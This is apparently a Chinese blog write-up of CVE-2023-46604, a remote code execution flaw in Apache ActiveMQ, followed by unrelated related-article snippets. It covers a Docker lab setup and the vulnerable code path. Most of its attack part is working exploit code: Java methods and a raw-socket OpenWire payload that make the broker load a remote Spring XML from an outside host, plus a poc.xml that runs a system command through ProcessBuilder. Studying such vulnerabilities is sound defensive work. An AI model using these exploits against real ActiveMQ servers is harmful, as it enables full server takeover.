Apache ActiveMQ RCE CNVD-2023-69477 CVE-2023-46604
漏洞简介
Apache ActiveMQ官方发布新版本,修复了一个远程代码执行漏洞,攻击者可构造恶意请求通过Apache ActiveMQ的61616端口发送恶意数据导致远程代码执行,从而完全控制Apache ActiveMQ服务器。
影响版本
Apache ActiveMQ 5.18.0 before 5.18.3
Apache ActiveMQ 5.17.0 before 5.17.6
Apache ActiveMQ 5.16.0 before 5.16.7
Apache ActiveMQ before 5.15.16
Apache ActiveMQ Legacy OpenWire Module 5.18.0 before 5.18.3
Apache ActiveMQ Legacy OpenWire Module 5.17.0 before 5.17.6
Apache ActiveMQ Legacy OpenWire Module 5.16.0 before 5.16.7
Apache ActiveMQ Legacy OpenWire Module 5.8.0 before 5.15.16
环境搭建
没有找到合适的 docker 镜像 ,尝试自己进行编写
可以站在巨人的肩膀上进行编写利用 利用项目 https://github.com/zer0yu/dfimage 分析镜像的dockerfile
docker pull islandora/activemq:2.0.7
dfimage islandora/activemq:2.0.7

结合 https://activemq.apache.org/version-5-getting-started

Dockerfile
FROM ubuntu
#ENV DEBIAN_FRONTEND noninteractive
RUN sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
RUN sed -i 's/security.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
RUN apt-get update -y
RUN apt-get install wget -y
RUN apt install openjdk-11-jre-headless -y
COPY apache-activemq-5.18.2-bin.tar.gz /
#RUN wget https://archive.apache.org/dist/activemq/5.18.2/apache-activemq-5.18.2-bin.tar.gz
RUN tar zxvf apache-activemq-5.18.2-bin.tar.gz
RUN chmod 755 /apache-activemq-5.18.2/bin/activemq
RUN echo '#!/bin/bash\n\n/apache-activemq-5.18.2/bin/activemq start\ntail -f /dev/null' > start.sh
RUN chmod +x start.sh
EXPOSE 8161 61616CMD ["/start.sh"]## 默认启动后 8161 的管理端口仅能通过 127.0.0.1 本地地址进行访问 可以通过修改 /conf/jetty.xml
docker-compose.yml
version: "2.2"
services:activemq:build: .ports:- "8161:8161"- "61616:61616"

./activemq start
./activemq status
./activemq console
netstat -tuln | grep 8161
netstat -tuln | grep 61616
漏洞分析
下载源代码 https://archive.apache.org/dist/activemq/5.18.2/activemq-parent-5.18.2-source-release.zip
开启调试只需要修改 apache-activemq-5.18.2\bin\activemq
![]()
https://github.com/apache/activemq/compare/activemq-5.18.2..activemq-5.18.3


新版本的修复位置是在
org.apache.activemq.openwire.v11.BaseDataStreamMarshaller#createThrowable

ClassName 和 message 可控,代表着可以调用任意类的 String 构造方法,AvtiveMQ 内置 Spring,结合 org.springframework.context.support.ClassPathXmlApplicationContext 加载远程配置文件实现 SPEL 表达式注入。
寻找调用该方法的位置

org.apache.activemq.openwire.v11.BaseDataStreamMarshaller#looseUnmarsalThrowable

继续向上寻找调用

image
网上大部分都选用了 ExceptionResponseMarshaller 我们也基于此进行分析
org.apache.activemq.openwire.v11.ExceptionResponseMarshaller#looseUnmarshal

继续向上寻找调用

org.apache.activemq.openwire.OpenWireFormat#doUnmarshal

我们看到此时 dsm 的值是基于传入的 dis.readByte();

image
<transportConnector name="openwire" uri="tcp://0.0.0.0:61616?maximumConnections=1000&wireFormat.maxFrameSize=104857600"/>ActiveMQ中默认的消息协议就是openwire
编写一个 ActiveMQ 的通信请求
public static void sendToActiveMQ() throws Exception {/** 创建连接工厂,由 ActiveMQ 实现。构造方法参数* userName 用户名* password 密码* brokerURL 访问 ActiveMQ 服务的路径地址,结构为: 协议名://主机地址:端口号*/ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("admin", "admin", "tcp://127.0.0.1:61616");//创建连接对象Connection connection = connectionFactory.createConnection();//启动连接connection.start();/** 创建会话,参数含义:* 1.transacted - 是否使用事务* 2.acknowledgeMode - 消息确认机制,可选机制为:* 1)Session.AUTO_ACKNOWLEDGE - 自动确认消息* 2)Session.CLIENT_ACKNOWLEDGE - 客户端确认消息机制* 3)Session.DUPS_OK_ACKNOWLEDGE - 有副本的客户端确认消息机制*/Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);//创建目的地,也就是队列名Destination destination = session.createQueue("q_test");//创建消息生成者,该生成者与目的地绑定MessageProducer mProducer = session.createProducer(destination);//创建消息Message message = session.createTextMessage("Hello, ActiveMQ");//发送消息mProducer.send(message);connection.close();}

前面的调用栈为
doUnmarshal:379, OpenWireFormat (org.apache.activemq.openwire)
unmarshal:290, OpenWireFormat (org.apache.activemq.openwire)
readCommand:240, TcpTransport (org.apache.activemq.transport.tcp)
doRun:232, TcpTransport (org.apache.activemq.transport.tcp)
run:215, TcpTransport (org.apache.activemq.transport.tcp)
run:829, Thread (java.lang)
此时 datatype 为 1 调用的是 WireFormatInfoMarshaller 我们要想办法调用 datatype 为 31 的 ExceptionResponseMarshaller
花式触发 ExceptionResponseMarshaller
现在我们的目的就是为了去调用 ExceptionResponseMarshaller
寻找触发 ActiveMQ 中的 ExceptionResponse

函数 org.apache.activemq.ActiveMQSession#asyncSendPacket 和
函数 org.apache.activemq.ActiveMQSession#syncSendPacket 都可以发送 command
最后会调用到 org.apache.activemq.transport.tcp.TcpTransport#oneway 也可以通过 ((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse); 和 ((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse);来触发

public static void ExceptionResponseExploit() throws Exception {ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");Connection connection = connectionFactory.createConnection("admin","admin");connection.start();ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);ExceptionResponse expetionResponse = new ExceptionResponse();expetionResponse.setException(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));ExploitSession.syncSendPacket(expetionResponse);//ExploitSession.asyncSendPacket(expetionResponse);//((ActiveMQConnection)connection).getTransportChannel().oneway(expetionResponse);//((ActiveMQConnection)connection).getTransportChannel().request(expetionResponse);connection.close();}

由于 ExceptionResponse 实例化的时候必须传入 Throwable 类型,但是 ClassPathXmlApplicationContext 不是该类型,所以需要 修改 ClassPathXmlApplicationContext 继承 Throwable 。添加如下代码
package org.springframework.context.support;public class ClassPathXmlApplicationContext extends Throwable{public ClassPathXmlApplicationContext(String message) {super(message);}
}
相同的方法可以运用在 ConnectionErrorMarshaller 和 MessageAckMarshaller
public static void ConnectionErrorExploit() throws Exception {ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");Connection connection = connectionFactory.createConnection("admin","admin");connection.start();ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);ConnectionError connectionError = new ConnectionError();connectionError.setException(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));//ExploitSession.syncSendPacket(connectionError);//ExploitSession.asyncSendPacket(connectionError);((ActiveMQConnection)connection).getTransportChannel().oneway(connectionError);connection.close();}
public static void MessageAckExploit() throws Exception {ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://127.0.0.1:61616");Connection connection = connectionFactory.createConnection("admin","admin");connection.start();ActiveMQSession ExploitSession =(ActiveMQSession) connection.createSession(false, Session.AUTO_ACKNOWLEDGE);MessageAck messageAck = new MessageAck();messageAck.setPoisonCause(new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml"));ExploitSession.syncSendPacket(messageAck);//ExploitSession.asyncSendPacket(messageAck);//((ActiveMQConnection)connection).getTransportChannel().oneway(messageAck);connection.close();}
通过数据流进行触发 ExceptionResponseMarshaller
主要是依据 ActiveMQ的协议 去触发 ExceptionResponseMarshaller
String ip = "127.0.0.1";int port = 61616;String pocxml= "http://192.168.184.1:9090/poc.xml";Socket sck = new Socket(ip, port);OutputStream os = sck.getOutputStream();DataOutputStream out = new DataOutputStream(os);out.writeInt(0); //out.writeByte(31); //dataType ExceptionResponseMarshallerout.writeInt(1); //CommandIdout.writeBoolean(true); //ResponseRequiredout.writeInt(1); //CorrelationIdout.writeBoolean(true);//use true -> red utf-8 stringout.writeBoolean(true);out.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext");//use true -> red utf-8 stringout.writeBoolean(true);out.writeUTF(pocxml);//call org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#createThrowable cause rceout.close();os.close();sck.close();
通过伪造类实现触发 ExceptionResponse
我们看到 org.apache.activemq.transport.tcp.TcpTransport#readCommand

利用 wireFormat.unmarshal 来对数据进行处理 所以我们找到相对应的 wireFormat.marshal
org.apache.activemq.transport.tcp.TcpTransport#oneway

通过本地新建 org.apache.activemq.transport.tcp.TcpTransport 类重写对应逻辑,运行时优先触发本地的 TcpTransport 类
/*** A one way asynchronous send*/@Overridepublic void oneway(Object command) throws IOException {checkStarted();Throwable obj = new ClassPathXmlApplicationContext("http://192.168.184.1:9090/poc.xml");ExceptionResponse response = new ExceptionResponse(obj);wireFormat.marshal(response, dataOut);dataOut.flush();}
将发送的请求无论是什么数据都修改为 触发 ExceptionResponseMarshaller ,同样也因为 ExceptionResponse 实例化的时候必须传入 Throwable 类型,但是 ClassPathXmlApplicationContext 不是该类型,所以需要 修改 ClassPathXmlApplicationContext 继承 Throwable 。必须添加如下代码
package org.springframework.context.support;public class ClassPathXmlApplicationContext extends Throwable{public ClassPathXmlApplicationContext(String message) {super(message);}
}
poc.xml
<?xml version="1.0" encoding="UTF-8" ?><beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="pb" class="java.lang.ProcessBuilder" init-method="start"><constructor-arg ><list><value>touch</value><value>/tmp/1.txt</value></list></constructor-arg></bean></beans>
漏洞复现

相关文章:
Apache ActiveMQ RCE CNVD-2023-69477 CVE-2023-46604
漏洞简介 Apache ActiveMQ官方发布新版本,修复了一个远程代码执行漏洞,攻击者可构造恶意请求通过Apache ActiveMQ的61616端口发送恶意数据导致远程代码执行,从而完全控制Apache ActiveMQ服务器。 影响版本 Apache ActiveMQ 5.18.0 before …...
C语言可变参数输入
本博文源于笔者正在学习的可变参数输入,可变参数是c语言函数中的一部分,下面本文就以一个很小的demo演示可变参数的编写 问题来源 想要用可变参数进行多个整数相加 方法源码 #include<stdio.h> #include<stdlib.h> #include<stdarg.h…...
飞天使-k8s知识点10-kubernetes资源对象3-controller
文章目录 pod探针 控制器 pod 概述: 1. pod是k8s中的最小单元 2. 一个pod中可以运行一个容器,也可以运行多个容器 3. 运行多个容器的话,这些容器是一起被调度的 4. Pod的生命周期是短暂的,不会自愈,是用完就销毁的实体…...
【Vue技巧】Vue2和Vue3组件上使用v-model的实现原理
ChatGPT4.0国内站点,支持GPT4 Vision 视觉模型:海鲸AI 在Vue中,v-model 是一个语法糖,用于在输入框、选择框等表单元素上创建双向数据绑定。当你在自定义组件中实现 v-model 功能时,你需要理解它背后的原理:…...
博客随手记
随手记...
【2023】java常用HTTP客户端对比以及使用(HttpClient/OkHttp/WebClient)
💻目录 1、介绍2、使用2.1、添加配置2.1.1、依赖2.1.2、工具类2.1.3、实体2.1.4、Controller接口 2.2、Apache HttpClient使用2.3 、OkHttp使用2.4、WebClient使用 1、介绍 现在java使用的http客户端主要包括以下几种 而这些中使用得最频繁的主要是: A…...
微信小程序获取来源场景值
https://developers.weixin.qq.com/miniprogram/dev/framework/app-service/scene.html#返回来源信息的场景 https://developers.weixin.qq.com/miniprogram/dev/api/base/app/life-cycle/wx.getLaunchOptionsSync.html 场景值列表 只有1008是来源群聊 /** * 生命周期函数--监…...
Vue3:vue-cli项目创建及vue.config.js配置
一、node.js检测或安装: node -v node.js官方 二、vue-cli安装: npm install -g vue/cli # OR yarn global add vue/cli/*如果安装的时候报错,可以尝试一下方法 删除C:\Users**\AppData\Roaming下的npm和npm-cache文件夹 删除项目下的node…...
关于CAD导入**地球的一些问题讨论
先上示例: 上图是将北京王佐停车场的红线CAD图导入到图新地球效果,如果看官正是需要这样的效果,那么请你继续往下看,全是干货! 在地球中导入CAD图可以做为电子沙盘。对于工程人来说,是极有帮助的。以前一直用谷歌地球,大约在2020年左右,就被和谐了。当时感觉挺可惜的。…...
Semaphore信号量详解
在Java并发编程中,Semaphore是一个非常重要的工具类。它位于java.util.concurrent包中,为我们提供了一种限制对临界资源的访问的机制。你可以将其视为一个同步控制的瑞士军刀,因为它既能够控制对资源的并发访问数量,也能够保证资源…...
Python的核心知识点整理大全66(已完结撒花)
目录 D.3 忽略文件 .gitignore 注意 D.4 初始化仓库 D.5 检查状态 D.6 将文件加入到仓库中 D.7 执行提交 D.8 查看提交历史 D.9 第二次提交 hello_world.py D.10 撤销修改 hello_world.py 注意 D.11 检出以前的提交 往期快速传送门👆(在文…...
k8s的存储卷
存储卷------数据卷 把容器内的目录,和宿主机的目录进行挂载。 容器在系统上的生命周期是短暂的,delete,k8s用控制(deployment)创建的pod,delete相当于重启,容器的状态也会回复到初始状态。 …...
Git 实战指南:常用指令精要手册(持续更新)
👑专栏内容:Git⛪个人主页:子夜的星的主页💕座右铭:前路未远,步履不停 目录 一、Git 安装过程1、Windows 下安装2、Cent os 下安装3、Ubuntu 下安装 二、配置本地仓库1、 初始化 Git 仓库2、配置 name 和 e…...
关于SpringMVC前后端传值总结
一、传递方式 1、查询参数&路径参数 查询参数: URI:/teachers?typeweb GetMapping("/klasses/teachers") public List<Teacher> getKlassRelatedTeachers(String type ) { ... }如果查询参数type与方法的名称相同,则直接将web传入…...
【排序】归并排序(C语言实现)
文章目录 1. 递归版的归并排序1.1 归并排序的思想2. 递归版的归并排序的实现 2. 非递归版的归并排序 1. 递归版的归并排序 1.1 归并排序的思想 归并排序(MERGE - SORT)是建立在归并操作上的一种有效的排序算法, 该算法是采用分治法(Divide a…...
127. 单词接龙
和433.最小基因变化这道题一样的解法。 https://blog.csdn.net/qq_43606119/article/details/135538247 class Solution {public int ladderLength(String beginWord, String endWord, List<String> wordList) {Set<String> cnt new HashSet<>();for (int …...
计算机算法贪心算法
贪心算法(Greedy Algorithm)是一种常见的算法思想,它在每一步选择当前状态下最优的解决方案,从而希望最终能够达到全局最优解。 贪心算法的基本思路是每一步都选择当前状态下的局部最优解,而忽略了当前选择所带来的影…...
基于css实现动画效果
介绍 本文将会基于css,实现各种动画效果,接下来会从简单几个例子入手。 案例 三颗球 <!DOCTYPE html> <html lang"en"><head><meta charset"utf-8" /><title>React App</title><style>…...
18.将文件上传至云服务器 + 优化网站的性能
目录 1.将文件上传至云服务器 1.1 处理上传头像逻辑 1.1.1 客户端上传 1.1.2 服务器直传 2.优化网站的性能 2.1 本地缓存优化查询方法 2.2 压力测试 1.将文件上传至云服务器 客户端上传:客户端将数据提交给云服务器,并等待其响应;用户…...
Linux: module: kheaders;CONFIG_IKHEADERS
文章目录 参考错误开一个玩笑。configcommit参考 https://github.com/iovisor/bcc/pull/2312 https://github.com/iovisor/bcc/pull/3588 https://bugs.gentoo.org/809347 https://lore.kernel.org/lkml/20190408212855.233198-1-joel@joelfernandes.org/ 错误 <built-in…...
Swift 协议扩展精进之路:解决 CoreData 托管实体子类的类型不匹配问题(下)
概述 在 Swift 开发语言中,各位秃头小码农们可以充分利用语法本身所带来的便利去劈荆斩棘。我们还可以恣意利用泛型、协议关联类型和协议扩展来进一步简化和优化我们复杂的代码需求。 不过,在涉及到多个子类派生于基类进行多态模拟的场景下,…...
基于当前项目通过npm包形式暴露公共组件
1.package.sjon文件配置 其中xh-flowable就是暴露出去的npm包名 2.创建tpyes文件夹,并新增内容 3.创建package文件夹...
鸿蒙中用HarmonyOS SDK应用服务 HarmonyOS5开发一个医院查看报告小程序
一、开发环境准备 工具安装: 下载安装DevEco Studio 4.0(支持HarmonyOS 5)配置HarmonyOS SDK 5.0确保Node.js版本≥14 项目初始化: ohpm init harmony/hospital-report-app 二、核心功能模块实现 1. 报告列表…...
Python爬虫(一):爬虫伪装
一、网站防爬机制概述 在当今互联网环境中,具有一定规模或盈利性质的网站几乎都实施了各种防爬措施。这些措施主要分为两大类: 身份验证机制:直接将未经授权的爬虫阻挡在外反爬技术体系:通过各种技术手段增加爬虫获取数据的难度…...
BCS 2025|百度副总裁陈洋:智能体在安全领域的应用实践
6月5日,2025全球数字经济大会数字安全主论坛暨北京网络安全大会在国家会议中心隆重开幕。百度副总裁陈洋受邀出席,并作《智能体在安全领域的应用实践》主题演讲,分享了在智能体在安全领域的突破性实践。他指出,百度通过将安全能力…...
12.找到字符串中所有字母异位词
🧠 题目解析 题目描述: 给定两个字符串 s 和 p,找出 s 中所有 p 的字母异位词的起始索引。 返回的答案以数组形式表示。 字母异位词定义: 若两个字符串包含的字符种类和出现次数完全相同,顺序无所谓,则互为…...
让AI看见世界:MCP协议与服务器的工作原理
让AI看见世界:MCP协议与服务器的工作原理 MCP(Model Context Protocol)是一种创新的通信协议,旨在让大型语言模型能够安全、高效地与外部资源进行交互。在AI技术快速发展的今天,MCP正成为连接AI与现实世界的重要桥梁。…...
基于 TAPD 进行项目管理
起因 自己写了个小工具,仓库用的Github。之前在用markdown进行需求管理,现在随着功能的增加,感觉有点难以管理了,所以用TAPD这个工具进行需求、Bug管理。 操作流程 注册 TAPD,需要提供一个企业名新建一个项目&#…...
AirSim/Cosys-AirSim 游戏开发(四)外部固定位置监控相机
这个博客介绍了如何通过 settings.json 文件添加一个无人机外的 固定位置监控相机,因为在使用过程中发现 Airsim 对外部监控相机的描述模糊,而 Cosys-Airsim 在官方文档中没有提供外部监控相机设置,最后在源码示例中找到了,所以感…...
tomcat入门
1 tomcat 是什么 apache开发的web服务器可以为java web程序提供运行环境tomcat是一款高效,稳定,易于使用的web服务器tomcathttp服务器Servlet服务器 2 tomcat 目录介绍 -bin #存放tomcat的脚本 -conf #存放tomcat的配置文件 ---catalina.policy #to…...
